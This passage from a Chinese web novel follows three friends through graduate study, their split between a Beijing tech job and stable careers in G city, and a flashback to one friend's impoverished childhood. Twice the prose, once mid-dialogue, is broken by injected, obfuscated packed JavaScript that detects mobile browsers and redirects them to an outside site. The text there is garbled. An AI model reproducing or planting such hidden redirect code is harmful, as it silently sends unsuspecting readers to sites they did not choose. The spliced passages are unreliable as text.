秦语曦会陪着林婉仪去逛花市，耐心听母亲讲各种花卉的习性，虽然她依旧分不清月季和玫瑰的细微差别；她会跟着秦国栋去茶庄，安静地坐在一旁，看父亲与老友品茗论道，感受那份属于父辈的从容。晚上，一家四口会围坐在餐桌前，吃的可能只是简单的家常菜，但聊天的氛围却格外温馨。 秦国栋和林婉仪不再过多询问学业或未来规划，只是享受着女儿就在身边的那种踏实感。秦语曦也乐于扮演“小棉袄”的角色，帮妈妈按摩肩膀，和爸爸讨论新闻，甚至心血来潮跟着阿姨学做一道简单的菜，尽管成果往往不尽如人意，却逗得大家哈哈大笑。 梁清嘉家亦是如此。她拉着刘敏敏一起去逛街，不再是单纯自己买买买，而是认真给母亲挑选衣服和护肤品；她会坐在书房里，听梁建宏分析最新的商业案例，虽然那些复杂的法律条文和商业逻辑让她头晕，但她喜欢看父亲讲到专业领域时闪闪发光的眼神。梁清树也尽量推掉应酬回家吃饭，兄妹俩斗嘴打趣，仿佛又回到了无忧无虑的少年时代。 这几天，她们刻意放缓了节奏，试图将家的温暖、父母的关爱更深地刻进心里，因为她们知道，下一次这样长时间的陪伴，不知要等到何时。这是一种情感上的“充电”，为即将开始的北上求学积蓄力量。 与此同时，谢雪凤几乎没有喘息的机会。实习一结束，她甚至没来得及回一趟G市，就直接提前进入实验室，开始了“研0”的生活。 她的“开学前假期”是在清华的实验室里度过的。面对陌生的研究领域、复杂的实验设备和早已在领域内小有名气的师兄师姐，她感到了巨大的差距和压力。 她默默地跟着师兄学习仪器操作，啃读晦涩难懂的文献，每天最早到实验室，最晚离开。北京的夏天酷热难当，实验室里空调冷气充足，但谢雪凤的内心却时常因为对未知的焦虑而倍感冰冷。 她没有像秦语曦她们那样的家庭温情作为后盾，她的港湾，就是这方寸之间的实验台和电脑屏幕，她必须尽快在这里站稳脚跟。 九月，秦语曦和梁清嘉踏上了返回北京的航班，正式开始了研究生生活。而谢雪凤，则早已在实验室里摸爬滚打了一段时间。三人的研究生生涯，呈现出截然不同的强度和色彩。 谢雪凤的研究生生活，用“疯狂”来形容并不为过。她的研究方向偏向硬核系统底层，实验环境复杂，数据量大，一个微小的参数错误就可能导致前功尽弃。 研一研二，她几乎过着“实验室-食堂-宿舍”三点一线的生活，且每一点的时间都被压缩到极致。通宵调试代码、凌晨被报警短信叫醒处理服务器故障是家常便饭。 她面对过无数次实验失败，看着运行了几个日夜的程序最终报错，那种挫败感足以让人崩溃。她曾经因为一个难以复现的bug，连续一周每天只睡三四个小时，眼圈黑得像熊猫，头发大把地掉。 在极端的压力下，人类总会衍生出一些看似荒谬的仪式感来寻求心理安慰。不知从何时起，谢雪凤在每次重要实验或代码跑批前，会对着服务器或自己的电脑主机，双手合十，嘴里念念有词地“拜一拜”，甚至“磕一个”。 她自嘲这是“安抚机魂”，让机器“心情愉悦”，从而提高成功率。令人称奇的是，这种带着调侃性质的仪式，似乎真的带来了一些“好运”，或者仅仅是降低了她的焦虑水平，反正失败的频率好像确实有所下降。 这个习惯后来被师弟师妹们观察到并竞相效仿，竟成了实验室一项不成文的“传统”。 当秦语曦在一次通话中得知此事后，笑着问：“你一个唯物主义的工科生，怎么也搞起唯心主义这一套了？” 谢雪凤在屏幕那头，顶着乱糟糟的头发，嗤笑一声，用带着疲惫却又不乏幽默的语气回答：“这叫‘机魂大悦’。跟它处好关系，比烧香拜佛管用多了。我们搞系统的，也得讲点玄学。” 这话语里，充满了理工科宅女在巨大压力下苦中作乐的自嘲与坚韧。 相比之下，秦语曦和梁清嘉的研究生生活虽然也称得上忙碌，但节奏要平稳许多。她们仍有时间在周末相约逛逛街，看场电影，或者去探索北京隐藏的小馆子。秦语曦会跟林婉仪视频，吐槽一下小组作业里“划水”的队友；梁清嘉则会向梁清树请教一些复杂的计量经济学问题。 她们的宿舍书桌上，除了专业书，可能还放着零食、护肤品和偶尔翻看的闲书。这种“清闲”，是相对于谢雪凤的“炼狱”模式而言的，是一种在可控压力下，依然能保持部分生活情趣的状态。 研三如同疾驰的列车，转眼就到了终点站。最后的半年，每个人都进入了最后的冲刺阶段。 谢雪凤的生活达到了忙碌的顶点。毕业论文、毕业设计、最后的实验冲刺、求职投简历、面试……多项任务并行，让她恨不得长出三头六臂。 她常常在实验室通宵达旦，困了就在折叠床上眯一会儿，醒来继续战斗。电脑屏幕上同时开着论文文档、代码编辑器、招聘网站和无数个参考文献窗口。 她的脑袋因为过度思考而时常感到胀痛，咖啡和功能饮料成了维持生命的必需品。这是一场对智力、体力和意志力的终极考验。 秦语曦和梁清嘉同样不轻松。 梁清嘉专注于毕业论文的撰写和答辩，力求完美收官。 秦语曦则面临更复杂的选择：在完成硕士论文的同时，她听从了家庭的建议，开始准备G市的公务员考试。 这意味着她需要在学术论文之外，再开辟一个全新的复习战场。白天写论文，晚上刷行测、申论题，成了她的常态。虽然压力巨大，但目标明确，路径清晰。 当所有的论文答辩都顺利结束后，三人终于有机会聚在一起，吃了一顿久违的饭。地点选在学校附近一家常去的小餐馆，气氛却与往年任何一次聚餐都不同。轻松中夹杂着一丝伤感。 几杯啤酒下肚，话匣子打开了。秦语曦问起了最关键的问题：“雪凤，工作定哪里了？留北京吗？” 谢雪凤放下筷子，眼神坚定：“嗯，定了。拿到XX（某知名互联网大厂）的研发岗offer了，留北京。”她的语气带着疲惫，更带着一股闯出一片天的决绝。 “真棒！”梁清嘉由衷地赞叹，“那以后就是帝都精英了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484430|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 秦语曦也笑着说：“恭喜！以后去北京就找你蹭饭。” 然后梁清嘉和秦语曦也说了自己的打算：“我们俩都回G市。”梁清嘉说，“我进了一家500强的财务部。” 秦语曦接口道：“我嘛，在准备考公，希望能进检·察·院。” 话音落下，饭桌上出现了短暂的沉默。虽然早有心理准备，但此刻明确地意识到，曾经朝夕相处、共同奋斗的姐妹，即将踏上完全不同的人生轨道，一种难以言喻的遗憾和离愁还是弥漫开来。 北京与G市，不同的城市，不同的行业，意味着未来的生活节奏、关注话题、乃至人生轨迹都将渐行渐远。 “没事！”秦语曦率先举起杯，“不管在哪里，我们永远都是最好的朋友！常联系！” “对！常联系！”梁清嘉和谢雪凤也举起杯，三只酒杯碰在一起，发出清脆的响声，仿佛是对过去友谊的确认，也是对彼此未来的祝福。 那晚，她们聊了很多，关于过去的糗事，关于未来的憧憬，直到餐馆打烊。 几个月后，预言成真。三人真正开始了在平行世界里的生活。 谢雪凤如愿进入了那家互联网大厂，成为一名底层研发工程师。为了节省开支，她在距离公司几十公里外的郊区租了一个小小的单间。 每天，她需要经历漫长的通勤：先骑共享单车到地铁站，挤上水泄不通的地铁，站一个多小时，再换乘公交或骑行一段才能到达公司。往返通勤时间超过三个小时。 工作内容是高压的，“996”是常态，甚至“007”也偶尔有之。她像一颗螺丝钉，被嵌入高速运转的庞大机器中，大部分时间都在面对电脑屏幕解决一个又一个具体的技术问题。 她的生活被工作和通勤填满，鲜有个人时间，与秦语曦、梁清嘉的联系自然骤减，往往只能在深夜下班后，疲惫地刷一下朋友圈，点个赞，寥寥数语问候一下。 秦语曦顺利通过了公务员考试，进入G市人．民.检.察.院工作。她穿着得体的职业装，出入庄严肃穆的机关大楼，开始接触卷宗、案件和司法流程。 梁清嘉也成功入职了G市那家世界500强企业的财务部，在现代化的写字楼里，处理着全球性的财务业务。 她们都回到了熟悉的城市，住在家里，有着稳定的社交圈。她们之间的联系依然紧密，经常聚会，分享职场见闻和生活点滴。 三位曾经在同一起跑线上努力奔跑的女孩，在研究生毕业这个重要节点，做出了基于各自家庭、性格、专业和价值观的不同选择，奔向了迥异的人生方向。 谢雪凤选择在北京的科技浪潮中独自搏击，用辛苦和汗水换取职业发展的可能性和更高的收入；秦语曦和梁清嘉则选择回归G市，拥抱一种更为稳定、贴近家庭的生活。 她们的生活几乎没有了交集，就像投入水中的石子，激起的涟漪扩散向不同的远方。 那些在图书馆并肩复习、在火锅店畅谈人生、在毕业典礼上相拥而泣的场景，仿佛成了遥远的青春注脚。然而，那段共同拼搏结下的情谊，早已深埋心底。 她们在各自的轨道上运行，经历着各自的酸甜苦辣，或许在某个深夜，会想起对方，想起那段闪闪发光的、一起走过的岁月，然后继续前行。人生的分岔路，就此展开。 31. 31 一年的时间，足以让不同的选择沉淀出截然不同的生活底色。秦语曦年假将至，她几乎没怎么犹豫，就订了飞往北京的机票。 她很想念谢雪凤，也想亲眼看看，那个在她们口中“水深火热”却又让她执意留下的帝都，究竟是怎样一番光景。 飞机降落在首都机场，秦语曦在接机口看到了等候多时的谢雪凤。 一年不见，谢雪凤似乎没什么太大变化，只是眉宇间多了几分职场人特有的疲惫，穿着也更朴素了些，一件看起来穿了很久的T恤，洗得有些发白。 两人笑着拥抱，谢雪凤接过秦语曦小巧精致的登机箱，引着她去坐机场快轨，然后换乘地铁。通勤的路漫长而拥挤，地铁里人贴人，空气浑浊。 秦语曦习惯了G市相对宽松的交通，对这种拥挤感到有些窒息，而谢雪凤却显得异常平静，显然是早已习以为常。 终于，在经过近两个小时的颠簸后，她们到达了谢雪凤租住的地方。那是位于北京五环外的一个老旧小区，楼道昏暗，墙壁上贴着各种小广告。谢雪凤掏出钥匙，打开了一扇略显单薄的房门。 “地方小，有点乱，你别介意。”谢雪凤的声音带着一丝不易察觉的紧张。 房间映入眼帘的那一刻，秦语曦确实愣了一下。那是一个名副其实的“单间”，可能只有十平米左右。一张单人床、一个简易衣柜、一张摆着电脑的小书桌，几乎就占满了全部空间。 洗手间是公用的，在走廊尽头。房间里虽然收拾得还算整洁，但老旧的家具、斑驳的墙角和窗外并不算美观的视野，都透露出一种拮据和临时的气息。空气中弥漫着一种若有若无的、属于老旧房屋和廉价洗衣粉混合的味道。 秦语曦的眼神里不可避免地闪过一瞬“微妙”的情绪——那是一种混合了惊讶、心疼和一丝无法理解的情绪。 她虽然知道谢雪凤不容易，但亲眼见到好友生活在这样的环境里，冲击力还是超出了她的想象。她迅速调整表情，努力让语气显得轻松：“挺好的呀，挺……温馨的。” 但她那瞬间的停顿和不够自然的语气，还是被敏感的谢雪凤捕捉到了。 谢雪凤脸上掠过一丝窘迫，自嘲地笑了笑：“跟你们家肯定是没法比啦，就是个睡觉的地方。” 她赶紧招呼秦语曦坐下，把唯一的椅子让给她，自己坐到了床边。气氛一时有些微妙的尴尬。 接下来的一周，秦语曦体验了一种完全不同的生活节奏。 谢雪凤依然要上班，互联网公司的作息并不规律，常常加班。秦语曦则享受着年假的闲暇。白天，谢雪凤出门后，秦语曦会一个人待在这个小房间里。她尝试看书、追剧，但狭小的空间和窗外嘈杂的市井声让她难以完全静心。 她出门在附近转了转，周围多是同样为生活奔波的打工者和本地老人，生活气息浓厚，但缺乏她熟悉的精致与闲适。 她最固定的“任务”，是在估摸谢雪凤快下班的时候。她知道谢雪凤累了一天，肯定没精力也没时间做饭，而她自己是个彻头彻尾的厨房小白。 于是，她会在傍晚时分下楼，在小区附近寻找看起来还不错的餐馆，打包一些饭菜回来——有时是饺子，有时是盖饭，有时是炒菜。她尽量换着花样买，想让谢雪凤吃得好一点。 每当谢雪凤拖着疲惫的身躯回到出租屋，看到小桌上摆着还冒着热气的食物，和坐在床边等她的秦语曦，心里总是涌起一股复杂的暖流。 她知道这是秦语曦的心意，是她们友谊的体现。但与此同时，这种“被照顾”的感觉，也隐隐提醒着她们之间现实存在的差距。 秦语曦可以轻松地飞来北京，可以不用考虑价格地买各种食物，而她，却要为了省下几百块钱房租，忍受每天三小时的通勤。 吃饭时，她们会聊天。秦语曦讲G市的变化，讲梁清嘉的八卦。谢雪凤则分享一些公司里的技术难题与八卦，还有北京的各种见闻。 她们努力寻找共同话题，试图找回过去的感觉，但总感觉隔着一层什么。 秦语曦的生活是稳定、有序、充满家庭温情的；谢雪凤的生活是高速、高压、充满不确定性的。两个世界的碰撞，让她们的交谈时而热烈，时而会出现短暂的空白。 一周的时间很快过去。星期天，秦语曦要返回G市了，第二天她就要回去上班了。 谢雪凤坚持要送她去机场。去往首都机场的路上，两人聊着一些无关紧要的话题，天气、航班、最近的电影，刻意回避着即将到来的离别和那些更深层的情感。 车窗外的北京城飞速后退，这座巨大的城市吞噬了无数像谢雪凤这样的梦想，也迎接了无数像秦语曦这样的过客。 到了机场，办理完登机手续，到了安检口。分别的时刻终于到来。 “行了，就送到这儿吧，你快回去吧，路上还得那么久。”秦语曦转过身，对谢雪凤说。 “嗯，看你进去我再走。”谢雪凤点点头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484431|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两人拥抱了一下，秦语曦拍了拍谢雪凤的背：“照顾好自己，别太拼了。” “你也是，常联系。” 秦语曦松开手，笑着挥了挥手，转身走向安检通道。她几次回头，都看到谢雪凤还站在原地，穿着那件旧羽绒服，身影在熙熙攘攘的机场大厅里显得有些孤单。 当秦语曦的身影彻底消失在通道尽头时，谢雪凤一直强撑着的情绪终于垮了下来。一种巨大的难过和失落感将她淹没。 这种难过，不仅仅是因为好友的离开，更是因为这次重逢，像一面镜子，清晰地照出了她们之间已然拉开的距离。 秦语曦的到来，像一束温暖但刺眼的光，照亮了她略显灰暗的奋斗生活，也让她更深刻地体会到其中的艰辛。 她羡慕秦语曦的轻松自如，也感激她的不远千里，但更多的是对自身处境的清醒认知和一种难以言说的孤独。 她站在原地，久久没有离开，直到机场广播再次响起，才默默转身，重新汇入人流，走向那条漫长的、返回郊区的归途。 三个小时后，飞机降落在G市国际机场。南国温暖湿润的空气让秦语曦舒了一口气。她打开手机，收到了谢雪凤报平安的信息，也看到了父母已经在到达厅等候的消息。 推着行李车走出来，一眼就看到了林婉仪和秦国栋。两人站在一起，气质卓然。 “曦曦，这边！”林婉仪笑着招手。 秦国栋自然地走上前，接过秦语曦的行李车。或许是北京之行带来的疲惫，或许是终于回到熟悉环境后的彻底放松，秦语曦在把双肩包也递给父亲后，竟然像个小孩子一样，不管不顾地、直接侧身坐在了那个大大的行李箱上，任由父亲推着她走。 林婉仪看到女儿这副模样，忍不住笑出声来，语气里满是宠爱：“你这是怎么了？去北京一趟，还把腿给走丢啦？真是绝了你了！” 秦语曦坐在行李箱上，晃着腿，哼了一声，带着点撒娇的意味：“就是累嘛！北京好大，坐地铁坐得我晕头转向的。” 此刻，在父母面前，她可以毫无负担地卸下所有成年人的伪装，重新变回那个可以任性、可以依赖家人的小女孩。这种强烈的反差，让她更加深刻地体会到，什么是“家”的温暖和踏实。 而远在北京那个狭小出租屋里的谢雪凤，此刻或许才刚刚挤上晚高峰的地铁，开始又一轮漫长的通勤。两个平行世界，在一次短暂的交汇后，又继续沿着各自的轨道，向前运行了。 32. 32. 二十世纪九十年代的G市，正处于经济腾飞的前夜，旧城区的巷弄里还残留着往日的气息，而新城区的蓝图已在规划者的图纸上缓缓展开。对于谢建华和叶桂兰这对从农村来到城市打拼的夫妻来说，这座城市既充满了机遇，也布满了艰辛。他们住在被称为“城中村”的片区，这里租金低廉，三教九流汇聚，是许多像他们一样的外来务工者的第一个落脚点。 谢建华在一家小型建材厂做搬运工，体力消耗大，收入却仅够糊口。叶桂兰则辗转于各家餐馆做临时工，洗盘子、摘菜，什么活都干。 他们的梦想很简单：在这座城市站稳脚跟，生个儿子，传宗接代，光耀门楣。这个“儿子”的执念，如同沉重的枷锁，紧紧箍在叶桂兰的身上，也压在谢建华的心头。 1994年2月，大女儿谢雪菲出生。医生那句“是个千金”让产房里的热气似乎都冷凝了几分。谢建华在门外听到消息，只是沉默。 叶桂兰看着身边皱巴巴的女婴，心底涌起一股难以言喻的失落，但母性的本能让她还是将孩子紧紧搂在怀里。 “没关系，第一个，女儿也好，以后能帮衬家里。”婆婆的话与其说是安慰，不如说是定下了基调。 生活的拮据并未因新生命的到来而改善。谢雪菲的奶粉钱、尿布钱，成了这个家庭新的负担。 叶桂兰产后没多久就不得不重新出去找零工，孩子交给同住在城中村、同样清闲不多的老乡偶尔照看。逼仄的平房里，婴儿的啼哭声、夫妻俩为琐事的争吵声，交织成一片浑浊的交响。 然而，儿子的渴望并未熄灭。1996年3月，二女儿谢雪琳降临。这次，谢建华连医院都没去，在工友的宿舍里喝了一晚闷酒。 叶桂兰看着又一个女儿，眼泪止不住地流。周围邻居的议论开始变得刺耳，“看来老谢家是要绝后啊”、“生了两个丫头片子了”。 压力像无形的网，越收越紧。 1997年8月，三女儿谢雪静的到来，几乎击垮了这个家庭本就脆弱的平衡。罚款单随之而来，虽然数额不大，但对谢家来说无疑是雪上加霜。 谢建华看着一屋子的女娃，烦躁得几乎要爆炸，他开始更频繁地喝酒，回家也越来越晚。叶桂兰则变得沉默寡言，除了干活，就是默默地照顾孩子，承受着来自丈夫和社会的双重目光。 家里气氛压抑得让人喘不过气。为了躲避超生罚款和更严苛的管控，叶桂兰甚至不得不带着刚出生的雪静回乡下娘家躲了一段时间。 转机发生在1999年。叶桂兰再次怀孕。这一次，夫妻俩都带着一种近乎赌博的心态。谢建华破天荒地戒了酒，努力多干活挣钱。 叶桂兰也变得小心翼翼，听从村里老人的各种“偏方”，渴望这次能得偿所愿。1999年4月11日，谢雪凤出生了。 当得知又是女儿时，产房里的叶桂兰绝望如同潮水般将她淹没。连前来帮忙的亲戚都忍不住叹气：“桂兰，这……命啊。” 但命运的齿轮还在转动。 叶桂兰再次怀孕了。这几乎是背水一战。2000年8月21日，当接生医生说出“是个儿子”时，虚弱的叶桂兰长长地舒了一口气，泪水混着汗水流下，这次是喜悦的。 门外的谢建华第一次在产房外露出了笑容，尽管那笑容因为长年的愁苦而显得有些僵硬。他迫不及待地给老家的父母报喜：“妈，有孙子了！叫雪龙！” 儿子谢雪龙的降生，仿佛给这个灰暗的家庭注入了一针强心剂。虽然经济状况因为又一个孩子的到来和可能的罚款而更加糟糕，但谢建华和叶桂兰的精神面貌却发生了微妙的变化。 他们觉得腰杆似乎挺直了一些，走在村里，也仿佛能感受到一些不同的目光——那种终于“完成任务”的如释重负感。 谢雪龙成了全家的中心，有限的资源开始明显地向这个“独苗”倾斜。奶粉要买好一点的，新衣服偶尔也会有，哭声总能第一时间得到回应。 而作为四女儿的谢雪凤，处境变得更加微妙。她夹在三个姐姐和备受宠爱的弟弟之间。大姐雪菲懂事早，已经开始帮着父母做家务、照顾弟妹；二姐雪琳性格倔强，常常因为不满父母的偏心而争吵；三姐雪静体弱多病，需要更多的关注。 谢雪凤则习惯性地沉默、观察，努力降低自己的存在感。她朦胧地意识到，自己和姐姐们与弟弟是不同的。这种不同，源于父母乃至周围环境那根深蒂固的观念——“儿子才能传宗接代”。 谢家居住的城中村，是城市扩张过程中被包裹进来的旧村落。狭窄的巷道仅容一人通过，两旁是密密麻麻的“握手楼”，阳光很难照射进来，地面总是湿漉漉的。 谢家租住的是一间不足二十平米的平房，用木板隔成了两个小间，里间是父母和弟弟的床，外间则是四姐妹挤在一张大通铺上。 家里没有独立的厨房和卫生间，做饭只能在门口搭个简易灶台，上厕所需要去几百米外的公共厕所。 夏天，平房里闷热如同蒸笼，蚊虫肆虐。冬天，寒风从墙壁的缝隙里钻进来，冻得人瑟瑟发抖。 一张破旧的桌子既是饭桌，也是孩子们写作业的地方。由于空间狭小，姐妹们常常需要轮流使用。 叶桂兰因为小儿子终于出生，了却了最大的心事，经人介绍，好不容易在师大附属外国语学校找到了一份后勤工作，虽然工资不高，但相对稳定，而且有一个重大的潜在好处——附外职工的子女，在通过考试后有机会入读这所名校。 这成了谢雪凤家未来最大的希望所在。谢建华依旧在建材厂卖力气，收入不见涨，身体却开始走下坡路。 家里的开销越来越大。四个女儿都在上学，虽然义务教育阶段学费不高，但书本费、杂费、生活费加起来也是一笔不小的数目。 更重要的是儿子谢雪龙，他被视为全家的希望，父母总想给他好一点的，无形中又增加了负担。餐桌上，荤腥是罕见的，通常是便宜的蔬菜和咸菜。肉包子对孩子们来说是无上的美味，只有逢年过节或者有重大喜事时才能吃到。 谢雪凤在这样环境中慢慢长大。她继承了母亲的隐忍和父亲的沉默。她很少主动要求什么，也知道要求了多半也无法实现。 她最大的乐趣是学习。 在学校里，她可以暂时忘却家中的窘迫，沉浸在书本的世界里。她发现，通过学习取得好成绩，是唯一能让她获得些许认可和关注的方式。 老师表扬她，父母在开家长会时，面对她的成绩单，脸上也会难得地露出一丝光彩。这微弱的光彩，成了她努力学习的动力。 她上的小学是城中村对应的普通小学，生源复杂，教学质量一般。但在那里，大家的经济状况相差不大，谢雪凤并没有感到特别的自卑。 她穿着姐姐的旧衣服，背着洗得发白的书包，每天步行上下学。她的成绩一直名列前茅，这让她在灰暗的生活中，找到了一点属于自己的骄傲。 小学毕业前夕，叶桂兰所在的附外正好有职工子女入学考试的机会。叶桂兰毫不犹豫地给成绩最好的四女儿谢雪凤报了名。 这是改变命运的机会，哪怕只有一丝希望，也要抓住。谢雪凤没有让母亲失望，她凭借优异的成绩通过了考试和评估，获得了入读附外初中部的资格。 这个消息，让谢家沉闷的空气里，短暂地有了一丝欢欣。尽管学费和生活费仍是沉重的负担，但叶桂兰和谢建华还是决定，再难也要供她上去。 2011年秋季，谢雪凤怀着忐忑又期待的心情，踏进了师大附属外国语学校。与她过去熟悉的环境截然不同，附外校园宽敞整洁，教学楼高大明亮，操场上绿草如茵。 同学们穿着统一的、质地良好的校服，言行举止间透着一种她未曾见过的自信与从容。 她被分到了初一五班，和她一同分到这个班的，还有那个后来在她生命中占据重要位置的女孩——秦语曦。 第一次见到秦语曦，谢雪凤就感到了一种无形的距离。秦语曦皮肤白皙，眼睛明亮，笑起来嘴角有浅浅的梨涡。 她穿着的虽然是同样的校服，但脚上的运动鞋是崭新的名牌，用的文具精致可爱，举手投足间有一种被宠爱着长大的松弛感。 她不像有些家境好的同学那样骄纵，反而很开朗活泼，很快就和周围的同学打成一片，比如陆思敏。 谢雪凤则像一只误入华丽花园的灰雀，小心翼翼地隐藏着自己。校服成了她最好的保护色，至少在外表上，她和其他同学没有太大区别。但她敏锐地注意到许多细节：秦语曦的校服总是格外平整干净，散发着一种淡淡的、好闻的清香，那是优质洗衣液的味道。而谢雪凤的校服，是用家里三块钱一大袋的廉价洗衣粉搓洗的，带着一股刺鼻的化学味。 她总是担心别人，尤其是离她最近的同桌秦语曦，会闻到这股“廉价”的味道，从而投来异样的目光。好在，秦语曦似乎从未在意，这让她稍稍安心。 更大的冲击来自日常生活。附外有食堂，提供营养丰富的午餐，但需要额外花钱。为了节省，谢雪凤的午餐通常是早上从家里带来的馒头或冷饭，就着咸菜解决。 而秦语曦、陆思敏她们，几乎每天都在食堂吃饭，还会经常去小卖部买零食、饮料。傍晚时分，秦语曦常常会带着一杯奶茶或者一包薯片走进教室，那香甜的气息对饥肠辘辘的谢雪凤来说，是一种难以抗拒的诱惑。 谢雪凤常常在秦语曦离开后，盯着她桌上没喝完的奶茶杯或没吃完的零食包装袋出神。那两个世界之间的鸿沟，如此清晰又残酷地展现在她面前。 她第一次如此真切地感受到，原来同龄人的生活可以如此不同。她开始意识到自己家庭的贫困，一种难以言说的自卑感，像藤蔓一样悄悄缠绕上她的心。 转折点发生在一个普通的傍晚。谢雪凤为了节省时间学习，没有回宿舍，而是留在教室做数学题。 做了没多久，胃里就开始一阵阵发空，饥饿感袭来。她看了看窗外渐暗的天色，犹豫了一下，还是从抽屉里拿出了早上买的第三个馒头——那是她今天的晚饭。馒头又冷又硬，她小口小口地啃着，试图用唾液将它软化。 就在这时，秦语曦吃完晚饭回到了教室。她看到正在啃馒头的谢雪凤，脸上露出惊讶的神情，走过来关切地问：“雪凤，你没吃饱吗？晚上就吃这个？” 谢雪凤的脸瞬间涨红了，一种难以启齿的羞愧感让她恨不得找个地缝钻进去。她低下头，小声嗫嚅道：“这……这是我的晚饭。” 秦语曦显然更惊讶了：“晚饭就吃一个馒头？这怎么够？”她那双清澈的眼睛里充满了不解和同情。在秦语曦的世界里，晚餐是营养均衡的三菜一汤，饭后还有水果零食，她无法想象有人会用一个冷馒头打发晚餐。 在秦语曦追问下，谢雪凤感到无处可躲。她艰难地开口，声音低得像蚊子哼哼：“我家……有五个孩子……我们住在城中村……” 她省略了更多艰辛的细节，但这短短几句话已足够勾勒出一个贫困多子女家庭的轮廓。 秦语曦闻言，果然露出了难以置信的表情。在她接触的同学圈子里，独生子女是常态，家里有两个孩子已经算多了，五个孩子简直是闻所未闻。 秦语曦那双会说话的眼睛瞬间睁大，惊讶之情溢于言表。这个表情，像一根细小的刺，深深扎进了谢雪凤敏感的心底，让她记了很久很久。那是一种来自另一个世界的、不加掩饰的惊诧，比任何言语都更让她感到自身的“不同”和“卑微”。 然而，秦语曦的惊讶很快被一种单纯的善意所取代。她没有再追问下去，而是若有所思地坐回了自己的座位。 第二天，情况发生了变化。中午食堂吃饭时，秦语曦特意去小卖部买了一个崭新的饭盒。她打完自己的饭后，又额外打了一份分量十足的饭菜，有肉有菜。 秦语曦拿着那个装满饭菜的饭盒找到正准备用冷馒头 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起初，谢雪凤每次都感到挣扎和尴尬，但渐渐地，在持续的营养不良和秦语曦看似不经意的坚持下，她接受了这份善意。这不仅仅是食物，更是一种她极度缺乏的、被关照的感觉。 南方的冬天，湿冷刺骨。谢雪凤只有单薄的校服和几件姐姐穿旧的、并不保暖的毛衣。每当寒风刮起，她就在教室里冷得瑟瑟发抖，手指冻得通红，写字都困难。 秦语曦注意到了这一点。在一个周末回家时，她翻箱倒柜，找出了几件自己已经穿不下或者不太喜欢的、但依旧很新的羽绒服、厚毛衣和保暖裤。周一返校时，她拖了一个小行李箱来到学校。 她把谢雪凤叫到一边，打开箱子，说：“雪凤，这些衣服我都不穿了，放在家里占地方，我妈说要不就扔了。我看你穿着挺合适的，你要是不嫌弃，就拿去穿吧？” 谢雪凤看着箱子里那些柔软暖和的衣物，心里五味杂陈。她需要这些衣服，迫切地需要。但接受这样的馈赠，让她那颗敏感的心再次感到了刺痛。她拼命摇头：“不，不，这太贵重了，我不能要……” 秦语曦似乎早有准备，她笑着说：“哎呀，你就当是帮我的忙嘛，处理旧衣服很麻烦的！反正放着也是浪费，你就穿上吧，你看你冷的。”她拿起一件粉色的羽绒服，不由分说地往谢雪凤身上比划。 谢雪凤看着秦语曦真诚的眼睛，又感受了一下衣物传来的暖意，挣扎了许久，最终还是抵不住寒冷的侵袭和那份对温暖的渴望，低着头，用几乎听不见的声音说了句“谢谢”。她接过衣服，感觉手上沉甸甸的，那不仅是衣物的重量，更是一份人情债。 穿上暖和的衣服，谢雪凤确实不再寒冷了。但她的内心却更加复杂。秦语曦持续的帮助，从饭菜到衣物，让她感激，却也让她日益清晰地感受到两人之间巨大的鸿沟。 她开始敏感地捕捉秦语曦眼神和语气中那些细微的情绪——或许是怜悯，或许是同情，或许只是一种居高临下的善良。她明白“吃人手短，拿人嘴软”的道理，这种不对等的关系，让她在接受帮助时，总伴随着一丝难堪和自卑。 她努力告诉自己，秦语曦是好人，是真心帮助自己。她努力忽略那些让她不舒服的微妙感觉，将注意力全部投入到学习中。 只有取得优异的成绩，才能让她在秦语曦面前，在所有人面前，保有最后一丝尊严和骄傲。她开始更加拼命地学习，成绩始终保持在年级前列。这成了她无声的抗争和自我证明的方式。 初一上学期期末考试结束后，学生们像出笼的小鸟，涌出校门。谢雪凤和秦语曦一起随着人流往外走。 谢雪凤的心情是轻松的，考试发挥得不错，即将到来的寒假虽然对她而言可能只是换个地方学习干活，但毕竟不用每天面对学校里的种种压力和不自在。 走到校门口，景象截然不同。各式各样的车辆停靠在路边，家长们翘首以盼。秦语曦一眼就看到了父亲秦国栋。 秦国栋那天刚好在附外附近应酬，顺路来接女儿。他穿着笔挺的西装，站在一辆黑色的轿车旁，气度不凡。 秦国栋也看到了女儿，脸上露出温和的笑容。他走上前，很自然地接过了秦语曦手中装着书本的袋子，然后目光才落到旁边的谢雪凤身上。 他微微点了点头，算是打招呼，表情礼貌但带着一种自然的疏离感。他没有询问什么，显然秦语曦可能提前跟他提过这个需要帮助的同学，但他的态度表明，谢雪凤只是女儿世界里的一个背景，并未引起他过多的关注。 “走吧，曦曦，你妈还在家等我们呢。”秦国栋对秦语曦说，语气宠溺。 “嗯！雪凤，再见！下学期见！”秦语曦欢快地向谢雪凤道别，然后钻进了温暖的车里。 谢雪凤站在原地，看着轿车缓缓驶离，汇入车流。她紧了紧身上那件秦语曦给的旧羽绒服，感觉冷风还是钻了进来。 这时，她看到了站在不远处角落里的母亲叶桂兰。叶桂兰穿着后勤工作的制服，外面套着一件旧棉袄，脸上带着疲惫。她是特意请假过来，接女儿一起回教职工宿舍的。 “凤儿，考完了？考得咋样？”叶桂兰走上前，接过谢雪凤手里简单的行李——一个旧布袋。 